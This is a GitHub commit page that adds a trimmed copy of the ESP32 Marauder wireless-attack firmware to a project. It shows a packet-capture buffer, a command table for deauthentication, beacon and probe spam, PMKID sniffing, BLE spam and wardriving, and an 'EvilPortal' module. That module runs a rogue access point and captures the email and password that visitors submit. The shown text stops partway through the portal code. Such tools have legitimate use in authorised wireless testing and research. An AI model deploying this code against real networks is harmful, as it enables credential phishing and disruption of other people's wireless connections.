-
-
Notifications
You must be signed in to change notification settings - Fork 100
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Loading status checks…
Merge pull request #39 from i-am-shodan/mauraderRefactor
Remove ESP32 as a submodule and add directly to the codebase as a cut down library
Showing
21 changed files
with
9,575 additions
and
7 deletions.
There are no files selected for viewing
This file was deleted.
Oops, something went wrong.
Submodule ESP32Marauder
deleted from
7ab70b
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
MIT License | ||
|
||
Copyright (c) 2020 Just Call Me Koko | ||
|
||
Permission is hereby granted, free of charge, to any person obtaining a copy | ||
of this software and associated documentation files (the "Software"), to deal | ||
in the Software without restriction, including without limitation the rights | ||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | ||
copies of the Software, and to permit persons to whom the Software is | ||
furnished to do so, subject to the following conditions: | ||
|
||
The above copyright notice and this permission notice shall be included in all | ||
copies or substantial portions of the Software. | ||
|
||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | ||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | ||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE | ||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER | ||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, | ||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE | ||
SOFTWARE. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,242 @@ | ||
#include "Buffer.h" | ||
#include "lang_var.h" | ||
|
||
Buffer::Buffer(){ | ||
bufA = (uint8_t*)malloc(BUF_SIZE); | ||
bufB = (uint8_t*)malloc(BUF_SIZE); | ||
} | ||
|
||
void Buffer::createFile(String name, bool is_pcap){ | ||
int i=0; | ||
if (is_pcap) { | ||
do{ | ||
fileName = "/"+name+"_"+(String)i+".pcap"; | ||
i++; | ||
} while(fs->exists(fileName)); | ||
} | ||
else { | ||
do{ | ||
fileName = "/"+name+"_"+(String)i+".log"; | ||
i++; | ||
} while(fs->exists(fileName)); | ||
} | ||
|
||
esp32m_println(fileName); | ||
|
||
file = fs->open(fileName, FILE_WRITE); | ||
file.close(); | ||
} | ||
|
||
void Buffer::open(bool is_pcap){ | ||
bufSizeA = 0; | ||
bufSizeB = 0; | ||
|
||
bufSizeB = 0; | ||
|
||
writing = true; | ||
|
||
if (is_pcap) { | ||
write(uint32_t(0xa1b2c3d4)); // magic number | ||
write(uint16_t(2)); // major version number | ||
write(uint16_t(4)); // minor version number | ||
write(int32_t(0)); // GMT to local correction | ||
write(uint32_t(0)); // accuracy of timestamps | ||
write(uint32_t(SNAP_LEN)); // max length of captured packets, in octets | ||
write(uint32_t(105)); // data link type | ||
} | ||
} | ||
|
||
void Buffer::openFile(String file_name, fs::FS* fs, bool serial, bool is_pcap) { | ||
bool save_pcap = settings_obj.loadSetting<bool>("SavePCAP"); | ||
if (!save_pcap) { | ||
this->fs = NULL; | ||
this->serial = false; | ||
writing = false; | ||
return; | ||
} | ||
this->fs = fs; | ||
this->serial = serial; | ||
if (this->fs) { | ||
createFile(file_name, is_pcap); | ||
} | ||
if (this->fs || this->serial) { | ||
open(is_pcap); | ||
} else { | ||
writing = false; | ||
} | ||
} | ||
|
||
void Buffer::pcapOpen(String file_name, fs::FS* fs, bool serial) { | ||
openFile(file_name, fs, serial, true); | ||
} | ||
|
||
void Buffer::logOpen(String file_name, fs::FS* fs, bool serial) { | ||
openFile(file_name, fs, serial, false); | ||
} | ||
|
||
void Buffer::add(const uint8_t* buf, uint32_t len, bool is_pcap){ | ||
// buffer is full -> drop packet | ||
if((useA && bufSizeA + len >= BUF_SIZE && bufSizeB > 0) || (!useA && bufSizeB + len >= BUF_SIZE && bufSizeA > 0)){ | ||
//esp32m_print(";"); | ||
return; | ||
} | ||
|
||
if(useA && bufSizeA + len + 16 >= BUF_SIZE && bufSizeB == 0){ | ||
useA = false; | ||
//esp32m_println("\nswitched to buffer B"); | ||
} | ||
else if(!useA && bufSizeB + len + 16 >= BUF_SIZE && bufSizeA == 0){ | ||
useA = true; | ||
//esp32m_println("\nswitched to buffer A"); | ||
} | ||
|
||
uint32_t microSeconds = micros(); // e.g. 45200400 => 45s 200ms 400us | ||
uint32_t seconds = (microSeconds/1000)/1000; // e.g. 45200400/1000/1000 = 45200 / 1000 = 45s | ||
|
||
microSeconds -= seconds*1000*1000; // e.g. 45200400 - 45*1000*1000 = 45200400 - 45000000 = 400us (because we only need the offset) | ||
|
||
if (is_pcap) { | ||
write(seconds); // ts_sec | ||
write(microSeconds); // ts_usec | ||
write(len); // incl_len | ||
write(len); // orig_len | ||
} | ||
|
||
write(buf, len); // packet payload | ||
} | ||
|
||
void Buffer::append(wifi_promiscuous_pkt_t *packet, int len) { | ||
bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]); | ||
if (save_packet) { | ||
add(packet->payload, len, true); | ||
} | ||
} | ||
|
||
void Buffer::append(String log) { | ||
bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]); | ||
if (save_packet) { | ||
add((const uint8_t*)log.c_str(), log.length(), false); | ||
} | ||
} | ||
|
||
void Buffer::write(int32_t n){ | ||
uint8_t buf[4]; | ||
buf[0] = n; | ||
buf[1] = n >> 8; | ||
buf[2] = n >> 16; | ||
buf[3] = n >> 24; | ||
write(buf,4); | ||
} | ||
|
||
void Buffer::write(uint32_t n){ | ||
uint8_t buf[4]; | ||
buf[0] = n; | ||
buf[1] = n >> 8; | ||
buf[2] = n >> 16; | ||
buf[3] = n >> 24; | ||
write(buf,4); | ||
} | ||
|
||
void Buffer::write(uint16_t n){ | ||
uint8_t buf[2]; | ||
buf[0] = n; | ||
buf[1] = n >> 8; | ||
write(buf,2); | ||
} | ||
|
||
void Buffer::write(const uint8_t* buf, uint32_t len){ | ||
if(!writing) return; | ||
while(saving) delay(10); | ||
|
||
if(useA){ | ||
memcpy(&bufA[bufSizeA], buf, len); | ||
bufSizeA += len; | ||
}else{ | ||
memcpy(&bufB[bufSizeB], buf, len); | ||
bufSizeB += len; | ||
} | ||
} | ||
|
||
void Buffer::saveFs(){ | ||
file = fs->open(fileName, FILE_APPEND); | ||
if (!file) { | ||
esp32m_println(text02+fileName+"'"); | ||
return; | ||
} | ||
|
||
if(useA){ | ||
if(bufSizeB > 0){ | ||
file.write(bufB, bufSizeB); | ||
} | ||
if(bufSizeA > 0){ | ||
file.write(bufA, bufSizeA); | ||
} | ||
} else { | ||
if(bufSizeA > 0){ | ||
file.write(bufA, bufSizeA); | ||
} | ||
if(bufSizeB > 0){ | ||
file.write(bufB, bufSizeB); | ||
} | ||
} | ||
|
||
file.close(); | ||
} | ||
|
||
void Buffer::saveSerial() { | ||
// Saves to main console UART, user-facing app will ignore these markers | ||
// Uses / and ] in markers as they are illegal characters for SSIDs | ||
const char* mark_begin = "[BUF/BEGIN]"; | ||
const size_t mark_begin_len = strlen(mark_begin); | ||
const char* mark_close = "[BUF/CLOSE]"; | ||
const size_t mark_close_len = strlen(mark_close); | ||
|
||
// Additional buffer and memcpy's so that a single Serial.write() is called | ||
// This is necessary so that other console output isn't mixed into buffer stream | ||
uint8_t* buf = (uint8_t*)malloc(mark_begin_len + bufSizeA + bufSizeB + mark_close_len); | ||
uint8_t* it = buf; | ||
memcpy(it, mark_begin, mark_begin_len); | ||
it += mark_begin_len; | ||
|
||
if(useA){ | ||
if(bufSizeB > 0){ | ||
memcpy(it, bufB, bufSizeB); | ||
it += bufSizeB; | ||
} | ||
if(bufSizeA > 0){ | ||
memcpy(it, bufA, bufSizeA); | ||
it += bufSizeA; | ||
} | ||
} else { | ||
if(bufSizeA > 0){ | ||
memcpy(it, bufA, bufSizeA); | ||
it += bufSizeA; | ||
} | ||
if(bufSizeB > 0){ | ||
memcpy(it, bufB, bufSizeB); | ||
it += bufSizeB; | ||
} | ||
} | ||
|
||
memcpy(it, mark_close, mark_close_len); | ||
it += mark_close_len; | ||
Serial.write(buf, it - buf); | ||
free(buf); | ||
} | ||
|
||
void Buffer::save() { | ||
saving = true; | ||
|
||
if((bufSizeA + bufSizeB) == 0){ | ||
saving = false; | ||
return; | ||
} | ||
|
||
if(this->fs) saveFs(); | ||
if(this->serial) saveSerial(); | ||
|
||
bufSizeA = 0; | ||
bufSizeB = 0; | ||
|
||
saving = false; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,54 @@ | ||
#pragma once | ||
|
||
#ifndef Buffer_h | ||
#define Buffer_h | ||
|
||
#include "Arduino.h" | ||
#include "FS.h" | ||
#include "settings.h" | ||
#include "esp_wifi_types.h" | ||
|
||
#define BUF_SIZE 3 * 1024 // Had to reduce buffer size to save RAM. GG @spacehuhn | ||
#define SNAP_LEN 2324 // max len of each recieved packet | ||
|
||
//extern bool useSD; | ||
|
||
extern Settings settings_obj; | ||
|
||
class Buffer { | ||
public: | ||
Buffer(); | ||
void pcapOpen(String file_name, fs::FS* fs, bool serial); | ||
void logOpen(String file_name, fs::FS* fs, bool serial); | ||
void append(wifi_promiscuous_pkt_t *packet, int len); | ||
void append(String log); | ||
void save(); | ||
private: | ||
void createFile(String name, bool is_pcap); | ||
void open(bool is_pcap); | ||
void openFile(String file_name, fs::FS* fs, bool serial, bool is_pcap); | ||
void add(const uint8_t* buf, uint32_t len, bool is_pcap); | ||
void write(int32_t n); | ||
void write(uint32_t n); | ||
void write(uint16_t n); | ||
void write(const uint8_t* buf, uint32_t len); | ||
void saveFs(); | ||
void saveSerial(); | ||
|
||
uint8_t* bufA; | ||
uint8_t* bufB; | ||
|
||
uint32_t bufSizeA = 0; | ||
uint32_t bufSizeB = 0; | ||
|
||
bool writing = false; // acceppting writes to buffer | ||
bool useA = true; // writing to bufA or bufB | ||
bool saving = false; // currently saving onto the SD card | ||
|
||
String fileName = "/0.pcap"; | ||
File file; | ||
fs::FS* fs; | ||
bool serial; | ||
}; | ||
|
||
#endif |
Large diffs are not rendered by default.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,199 @@ | ||
#pragma once | ||
|
||
#ifndef CommandLine_h | ||
#define CommandLine_h | ||
|
||
#include "configs.h" | ||
|
||
#ifdef HAS_SCREEN | ||
#include "MenuFunctions.h" | ||
#include "Display.h" | ||
#endif | ||
|
||
#include "WiFiScan.h" | ||
//#include "Web.h" | ||
#ifdef HAS_SD | ||
#include "SDInterface.h" | ||
#endif | ||
#include "settings.h" | ||
|
||
#ifdef HAS_SCREEN | ||
extern MenuFunctions menu_function_obj; | ||
extern Display display_obj; | ||
#endif | ||
|
||
extern WiFiScan wifi_scan_obj; | ||
//extern Web web_obj; | ||
#ifdef HAS_SD | ||
extern SDInterface sd_obj; | ||
#endif | ||
extern Settings settings_obj; | ||
extern LinkedList<AccessPoint>* access_points; | ||
extern LinkedList<ssid>* ssids; | ||
extern LinkedList<Station>* stations; | ||
extern const String PROGMEM version_number; | ||
extern const String PROGMEM board_target; | ||
|
||
//// Commands | ||
|
||
// Admin | ||
const char PROGMEM CH_CMD[] = "channel"; | ||
const char PROGMEM CLEARAP_CMD[] = "clearlist"; | ||
const char PROGMEM REBOOT_CMD[] = "reboot"; | ||
const char PROGMEM UPDATE_CMD[] = "update"; | ||
const char PROGMEM HELP_CMD[] = "help"; | ||
const char PROGMEM SETTINGS_CMD[] = "settings"; | ||
const char PROGMEM LS_CMD[] = "ls"; | ||
const char PROGMEM LED_CMD[] = "led"; | ||
const char PROGMEM GPS_DATA_CMD[] = "gpsdata"; | ||
const char PROGMEM GPS_CMD[] = "gps"; | ||
const char PROGMEM NMEA_CMD[] = "nmea"; | ||
|
||
// WiFi sniff/scan | ||
const char PROGMEM EVIL_PORTAL_CMD[] = "evilportal"; | ||
const char PROGMEM SIGSTREN_CMD[] = "sigmon"; | ||
const char PROGMEM SCANAP_CMD[] = "scanap"; | ||
const char PROGMEM SCANSTA_CMD[] = "scansta"; | ||
const char PROGMEM SNIFF_RAW_CMD[] = "sniffraw"; | ||
const char PROGMEM SNIFF_BEACON_CMD[] = "sniffbeacon"; | ||
const char PROGMEM SNIFF_PROBE_CMD[] = "sniffprobe"; | ||
const char PROGMEM SNIFF_PWN_CMD[] = "sniffpwn"; | ||
const char PROGMEM SNIFF_ESP_CMD[] = "sniffesp"; | ||
const char PROGMEM SNIFF_DEAUTH_CMD[] = "sniffdeauth"; | ||
const char PROGMEM SNIFF_PMKID_CMD[] = "sniffpmkid"; | ||
const char PROGMEM STOPSCAN_CMD[] = "stopscan"; | ||
const char PROGMEM WARDRIVE_CMD[] = "wardrive"; | ||
|
||
// WiFi attack | ||
const char PROGMEM ATTACK_CMD[] = "attack"; | ||
const char PROGMEM ATTACK_TYPE_DEAUTH[] = "deauth"; | ||
const char PROGMEM ATTACK_TYPE_BEACON[] = "beacon"; | ||
const char PROGMEM ATTACK_TYPE_PROBE[] = "probe"; | ||
const char PROGMEM ATTACK_TYPE_RR[] = "rickroll"; | ||
|
||
// WiFi Aux | ||
const char PROGMEM LIST_AP_CMD[] = "list"; | ||
const char PROGMEM SEL_CMD[] = "select"; | ||
const char PROGMEM SSID_CMD[] = "ssid"; | ||
const char PROGMEM SAVE_CMD[] = "save"; | ||
const char PROGMEM LOAD_CMD[] = "load"; | ||
|
||
// Bluetooth sniff/scan | ||
const char PROGMEM BT_SPAM_CMD[] = "blespam"; | ||
const char PROGMEM BT_SNIFF_CMD[] = "sniffbt"; | ||
//const char PROGMEM BT_SOUR_APPLE_CMD[] = "sourapple"; | ||
//const char PROGMEM BT_SWIFTPAIR_SPAM_CMD[] = "swiftpair"; | ||
//const char PROGMEM BT_SAMSUNG_SPAM_CMD[] = "samsungblespam"; | ||
//onst char PROGMEM BT_SPAM_ALL_CMD[] = "btspamall"; | ||
const char PROGMEM BT_WARDRIVE_CMD[] = "btwardrive"; | ||
const char PROGMEM BT_SKIM_CMD[] = "sniffskim"; | ||
|
||
|
||
//// Command help messages | ||
// Admin | ||
const char PROGMEM HELP_HEAD[] = "============ Commands ============"; | ||
const char PROGMEM HELP_CH_CMD[] = "channel [-s <channel>]"; | ||
const char PROGMEM HELP_CLEARAP_CMD_A[] = "clearlist -a/-c/-s"; | ||
const char PROGMEM HELP_REBOOT_CMD[] = "reboot"; | ||
const char PROGMEM HELP_UPDATE_CMD_A[] = "update -s/-w"; | ||
const char PROGMEM HELP_SETTINGS_CMD[] = "settings [-s <setting> enable/disable>]/[-r]"; | ||
const char PROGMEM HELP_LS_CMD[] = "ls <directory>"; | ||
const char PROGMEM HELP_LED_CMD[] = "led -s <hex color>/-p <rainbow>"; | ||
const char PROGMEM HELP_GPS_DATA_CMD[] = "gpsdata"; | ||
const char PROGMEM HELP_GPS_CMD[] = "gps [-g] <fix/sat/lon/lat/alt/date/accuracy/text/nmea>\r\n [-n] <native/all/gps/glonass/galileo/navic/qzss/beidou>\r\n [-b = use BD vs GB for beidou]"; | ||
const char PROGMEM HELP_NMEA_CMD[] = "nmea"; | ||
|
||
// WiFi sniff/scan | ||
const char PROGMEM HELP_EVIL_PORTAL_CMD[] = "evilportal [-c start [-w html.html]/sethtml <html.html>]"; | ||
const char PROGMEM HELP_SIGSTREN_CMD[] = "sigmon"; | ||
const char PROGMEM HELP_SCANAP_CMD[] = "scanap"; | ||
const char PROGMEM HELP_SCANSTA_CMD[] = "scansta"; | ||
const char PROGMEM HELP_SNIFF_RAW_CMD[] = "sniffraw"; | ||
const char PROGMEM HELP_SNIFF_BEACON_CMD[] = "sniffbeacon"; | ||
const char PROGMEM HELP_SNIFF_PROBE_CMD[] = "sniffprobe"; | ||
const char PROGMEM HELP_SNIFF_PWN_CMD[] = "sniffpwn"; | ||
const char PROGMEM HELP_SNIFF_ESP_CMD[] = "sniffesp"; | ||
const char PROGMEM HELP_SNIFF_DEAUTH_CMD[] = "sniffdeauth"; | ||
const char PROGMEM HELP_SNIFF_PMKID_CMD[] = "sniffpmkid [-c <channel>][-d][-l]"; | ||
const char PROGMEM HELP_STOPSCAN_CMD[] = "stopscan"; | ||
const char PROGMEM HELP_WARDRIVE_CMD[] = "wardrive [-s]"; | ||
|
||
// WiFi attack | ||
const char PROGMEM HELP_ATTACK_CMD[] = "attack -t <beacon [-l/-r/-a]/deauth [-c]/[-s <src mac>] [-d <dst mac>]/probe/rickroll>"; | ||
|
||
// WiFi Aux | ||
const char PROGMEM HELP_LIST_AP_CMD_A[] = "list -s"; | ||
const char PROGMEM HELP_LIST_AP_CMD_B[] = "list -a"; | ||
const char PROGMEM HELP_LIST_AP_CMD_C[] = "list -c"; | ||
const char PROGMEM HELP_SEL_CMD_A[] = "select -a/-s/-c <index (comma separated)>/-f \"equals <String> or contains <String>\""; | ||
const char PROGMEM HELP_SSID_CMD_A[] = "ssid -a [-g <count>/-n <name>]"; | ||
const char PROGMEM HELP_SSID_CMD_B[] = "ssid -r <index>"; | ||
const char PROGMEM HELP_SAVE_CMD[] = "save -a/-s"; | ||
const char PROGMEM HELP_LOAD_CMD[] = "load -a/-s"; | ||
|
||
// Bluetooth sniff/scan | ||
const char PROGMEM HELP_BT_SNIFF_CMD[] = "sniffbt"; | ||
const char PROGMEM HELP_BT_SPAM_CMD[] = "blespam -t <apple/google/samsung/windows/all>"; | ||
//const char PROGMEM HELP_BT_SOUR_APPLE_CMD[] = "sourapple"; | ||
//const char PROGMEM HELP_BT_SWIFTPAIR_SPAM_CMD[] = "swiftpair"; | ||
//const char PROGMEM HELP_BT_SAMSUNG_SPAM_CMD[] = "samsungblespam"; | ||
//onst char PROGMEM HELP_BT_SPAM_ALL_CMD[] = "btspamall"; | ||
const char PROGMEM HELP_BT_WARDRIVE_CMD[] = "btwardrive [-c]"; | ||
const char PROGMEM HELP_BT_SKIM_CMD[] = "sniffskim"; | ||
const char PROGMEM HELP_FOOT[] = "=================================="; | ||
|
||
|
||
class CommandLine { | ||
private: | ||
String getSerialInput(); | ||
LinkedList<String> parseCommand(String input, char* delim); | ||
String toLowerCase(String str); | ||
void filterAccessPoints(String filter); | ||
#ifndef ENABLE_NONSERIAL_COMMAND_EXECUTION | ||
void runCommand(String input); | ||
#endif | ||
bool checkValueExists(LinkedList<String>* cmd_args_list, int index); | ||
bool inRange(int max, int index); | ||
bool apSelected(); | ||
bool hasSSIDs(); | ||
void showCounts(int selected, int unselected = -1); | ||
int argSearch(LinkedList<String>* cmd_args, String key); | ||
|
||
const char* ascii_art = | ||
"\r\n" | ||
" @@@@@@ \r\n" | ||
" @@@@@@@@ \r\n" | ||
" @@@@@@@@@@@ \r\n" | ||
" @@@@@@ @@@@@@ \r\n" | ||
" @@@@@@@ @@@@@@@ \r\n" | ||
" @@@@@@ @@@@@@ \r\n" | ||
" @@@@@@@ @@@@@@@ \r\n" | ||
" @@@@@@ @@@@@@ \r\n" | ||
"@@@@@@@ @@@@@@@@@@@@@@@@ \r\n" | ||
"@@@@@ @@@@@@@@@@@@@@@ \r\n" | ||
"@@@@@ @@@@@@@ \r\n" | ||
"@@@@@ @@@@@@ \r\n" | ||
"@@@@@@ @@@@@@@ \r\n" | ||
" @@@@@@ @@@@@@@@@@@@\r\n" | ||
" @@@@@@@ @@@@@@ \r\n" | ||
" @@@@@@ @@@@@@ \r\n" | ||
" @@@@@@@ @@@@@@ \r\n" | ||
" @@@@@@ @@@@@@ \r\n" | ||
" @@@@@@@ @@@@@@ \r\n" | ||
" @@@@@@ @@@@@@ \r\n" | ||
" @@@@@@@@@ \r\n" | ||
" @@@@@@ \r\n" | ||
" @@@@ \r\n" | ||
"\r\n"; | ||
|
||
public: | ||
CommandLine(); | ||
|
||
void RunSetup(); | ||
void main(uint32_t currentTime); | ||
#ifdef ENABLE_NONSERIAL_COMMAND_EXECUTION | ||
void runCommand(String input); | ||
#endif | ||
}; | ||
|
||
#endif |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,339 @@ | ||
#include "EvilPortal.h" | ||
|
||
AsyncWebServer server(80); | ||
|
||
EvilPortal::EvilPortal() { | ||
} | ||
|
||
void EvilPortal::setup() { | ||
this->runServer = false; | ||
this->name_received = false; | ||
this->password_received = false; | ||
this->has_html = false; | ||
this->has_ap = false; | ||
|
||
html_files = new LinkedList<String>(); | ||
|
||
html_files->add("Back"); | ||
|
||
#ifdef HAS_SD | ||
if (sd_obj.supported) { | ||
sd_obj.listDirToLinkedList(html_files, "/", "html"); | ||
|
||
//esp32m_println("Evil Portal Found " + (String)html_files->size() + " HTML files"); | ||
} | ||
#endif | ||
} | ||
|
||
bool EvilPortal::begin(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points) { | ||
if (!this->setAP(ssids, access_points)) | ||
return false; | ||
if (!this->setHtml()) | ||
return false; | ||
|
||
startPortal(); | ||
|
||
return true; | ||
} | ||
|
||
String EvilPortal::get_user_name() { | ||
return this->user_name; | ||
} | ||
|
||
String EvilPortal::get_password() { | ||
return this->password; | ||
} | ||
|
||
void EvilPortal::setupServer() { | ||
server.on("/", HTTP_GET, [this](AsyncWebServerRequest *request) { | ||
request->send_P(200, "text/html", index_html); | ||
esp32m_println("client connected"); | ||
#ifdef HAS_SCREEN | ||
this->sendToDisplay("Client connected to server"); | ||
#endif | ||
}); | ||
|
||
server.on("/get", HTTP_GET, [this](AsyncWebServerRequest *request) { | ||
String inputMessage; | ||
String inputParam; | ||
|
||
if (request->hasParam("email")) { | ||
inputMessage = request->getParam("email")->value(); | ||
inputParam = "email"; | ||
this->user_name = inputMessage; | ||
this->name_received = true; | ||
} | ||
|
||
if (request->hasParam("password")) { | ||
inputMessage = request->getParam("password")->value(); | ||
inputParam = "password"; | ||
this->password = inputMessage; | ||
this->password_received = true; | ||
} | ||
request->send( | ||
200, "text/html", | ||
"<html><head><script>setTimeout(() => { window.location.href ='/' }, 100);</script></head><body></body></html>"); | ||
}); | ||
esp32m_println("web server up"); | ||
} | ||
|
||
void EvilPortal::setHtmlFromSerial() { | ||
esp32m_println("Setting HTML from serial..."); | ||
const char *htmlStr = Serial.readString().c_str(); | ||
strncpy(index_html, htmlStr, strlen(htmlStr)); | ||
this->has_html = true; | ||
this->using_serial_html = true; | ||
esp32m_println("html set"); | ||
} | ||
|
||
bool EvilPortal::setHtml() { | ||
if (this->using_serial_html) { | ||
esp32m_println("html previously set"); | ||
return true; | ||
} | ||
esp32m_println("Setting HTML..."); | ||
#ifdef HAS_SD | ||
File html_file = sd_obj.getFile("/" + this->target_html_name); | ||
#else | ||
File html_file; | ||
#endif | ||
if (!html_file) { | ||
#ifdef HAS_SCREEN | ||
this->sendToDisplay("Could not find /" + this->target_html_name); | ||
this->sendToDisplay("Touch to exit..."); | ||
#endif | ||
esp32m_println("Could not find /" + this->target_html_name + ". Use stopscan..."); | ||
return false; | ||
} | ||
else { | ||
if (html_file.size() > MAX_HTML_SIZE) { | ||
#ifdef HAS_SCREEN | ||
this->sendToDisplay("The given HTML is too large."); | ||
this->sendToDisplay("The Byte limit is " + (String)MAX_HTML_SIZE); | ||
this->sendToDisplay("Touch to exit..."); | ||
#endif | ||
esp32m_println("The provided HTML is too large. Byte limit is " + (String)MAX_HTML_SIZE + "\nUse stopscan..."); | ||
return false; | ||
} | ||
String html = ""; | ||
while (html_file.available()) { | ||
char c = html_file.read(); | ||
if (isPrintable(c)) | ||
html.concat(c); | ||
} | ||
strncpy(index_html, html.c_str(), strlen(html.c_str())); | ||
this->has_html = true; | ||
esp32m_println("html set"); | ||
html_file.close(); | ||
return true; | ||
} | ||
|
||
} | ||
|
||
bool EvilPortal::setAP(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points) { | ||
// See if there are selected APs first | ||
String ap_config = ""; | ||
String temp_ap_name = ""; | ||
for (int i = 0; i < access_points->size(); i++) { | ||
if (access_points->get(i).selected) { | ||
temp_ap_name = access_points->get(i).essid; | ||
break; | ||
} | ||
} | ||
// If there are no SSIDs and there are no APs selected, pull from file | ||
// This means the file is last resort | ||
if ((ssids->size() <= 0) && (temp_ap_name == "")) { | ||
#ifdef HAS_SD | ||
File ap_config_file = sd_obj.getFile("/ap.config.txt"); | ||
#else | ||
File ap_config_file; | ||
#endif | ||
// Could not open config file. return false | ||
if (!ap_config_file) { | ||
#ifdef HAS_SCREEN | ||
this->sendToDisplay("Could not find /ap.config.txt."); | ||
this->sendToDisplay("Touch to exit..."); | ||
#endif | ||
esp32m_println("Could not find /ap.config.txt. Use stopscan..."); | ||
return false; | ||
} | ||
// Config file good. Proceed | ||
else { | ||
// ap name too long. return false | ||
if (ap_config_file.size() > MAX_AP_NAME_SIZE) { | ||
#ifdef HAS_SCREEN | ||
this->sendToDisplay("The given AP name is too large."); | ||
this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE); | ||
this->sendToDisplay("Touch to exit..."); | ||
#endif | ||
esp32m_println("The provided AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan..."); | ||
return false; | ||
} | ||
// AP name length good. Read from file into var | ||
while (ap_config_file.available()) { | ||
char c = ap_config_file.read(); | ||
esp32m_print(c); | ||
if (isPrintable(c)) { | ||
ap_config.concat(c); | ||
} | ||
} | ||
#ifdef HAS_SCREEN | ||
this->sendToDisplay("AP name from config file"); | ||
this->sendToDisplay("AP name: " + ap_config); | ||
#endif | ||
esp32m_println("AP name from config file: " + ap_config); | ||
ap_config_file.close(); | ||
} | ||
} | ||
// There are SSIDs in the list but there could also be an AP selected | ||
// Priority is SSID list before AP selected and config file | ||
else if (ssids->size() > 0) { | ||
ap_config = ssids->get(0).essid; | ||
if (ap_config.length() > MAX_AP_NAME_SIZE) { | ||
#ifdef HAS_SCREEN | ||
this->sendToDisplay("The given AP name is too large."); | ||
this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE); | ||
this->sendToDisplay("Touch to exit..."); | ||
#endif | ||
esp32m_println("The provided AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan..."); | ||
return false; | ||
} | ||
#ifdef HAS_SCREEN | ||
this->sendToDisplay("AP name from SSID list"); | ||
this->sendToDisplay("AP name: " + ap_config); | ||
#endif | ||
esp32m_println("AP name from SSID list: " + ap_config); | ||
} | ||
else if (temp_ap_name != "") { | ||
if (temp_ap_name.length() > MAX_AP_NAME_SIZE) { | ||
#ifdef HAS_SCREEN | ||
this->sendToDisplay("The given AP name is too large."); | ||
this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE); | ||
this->sendToDisplay("Touch to exit..."); | ||
#endif | ||
esp32m_println("The given AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan..."); | ||
} | ||
else { | ||
ap_config = temp_ap_name; | ||
#ifdef HAS_SCREEN | ||
this->sendToDisplay("AP name from AP list"); | ||
this->sendToDisplay("AP name: " + ap_config); | ||
#endif | ||
esp32m_println("AP name from AP list: " + ap_config); | ||
} | ||
} | ||
else { | ||
esp32m_println("Could not configure Access Point. Use stopscan..."); | ||
#ifdef HAS_SCREEN | ||
this->sendToDisplay("Could not configure Access Point."); | ||
this->sendToDisplay("Touch to exit..."); | ||
#endif | ||
} | ||
|
||
if (ap_config != "") { | ||
strncpy(apName, ap_config.c_str(), MAX_AP_NAME_SIZE); | ||
this->has_ap = true; | ||
esp32m_println("ap config set"); | ||
return true; | ||
} | ||
else | ||
return false; | ||
|
||
} | ||
|
||
#ifdef ESP_NETIF_CAPTIVEPORTAL_URI | ||
#warning Looks like you can now use captive portal DHCP options | ||
|
||
static void dhcp_set_captiveportal_url(String apName, String uri) { | ||
const char* captiveportal_uri = uri.c_str(); | ||
|
||
// get a handle to configure DHCP with | ||
esp_netif_t* netif = esp_netif_get_handle_from_ifkey(apName.c_str()); | ||
|
||
// set the DHCP option 114 | ||
ESP_ERROR_CHECK_WITHOUT_ABORT(esp_netif_dhcps_stop(netif)); | ||
ESP_ERROR_CHECK(esp_netif_dhcps_option(netif, ESP_NETIF_OP_SET, ESP_NETIF_CAPTIVEPORTAL_URI, captiveportal_uri, strlen(captiveportal_uri))); | ||
ESP_ERROR_CHECK_WITHOUT_ABORT(esp_netif_dhcps_start(netif)); | ||
} | ||
#endif | ||
|
||
void EvilPortal::startAP() { | ||
const IPAddress AP_IP(172, 0, 0, 1); | ||
|
||
esp32m_print("starting ap "); | ||
esp32m_println(apName); | ||
|
||
WiFi.mode(WIFI_AP); | ||
WiFi.softAPConfig(AP_IP, AP_IP, IPAddress(255, 255, 255, 0)); | ||
WiFi.softAP(apName); | ||
|
||
#ifdef HAS_SCREEN | ||
this->sendToDisplay("AP started"); | ||
#endif | ||
|
||
esp32m_print("ap ip address: "); | ||
esp32m_println(WiFi.softAPIP()); | ||
|
||
this->setupServer(); | ||
|
||
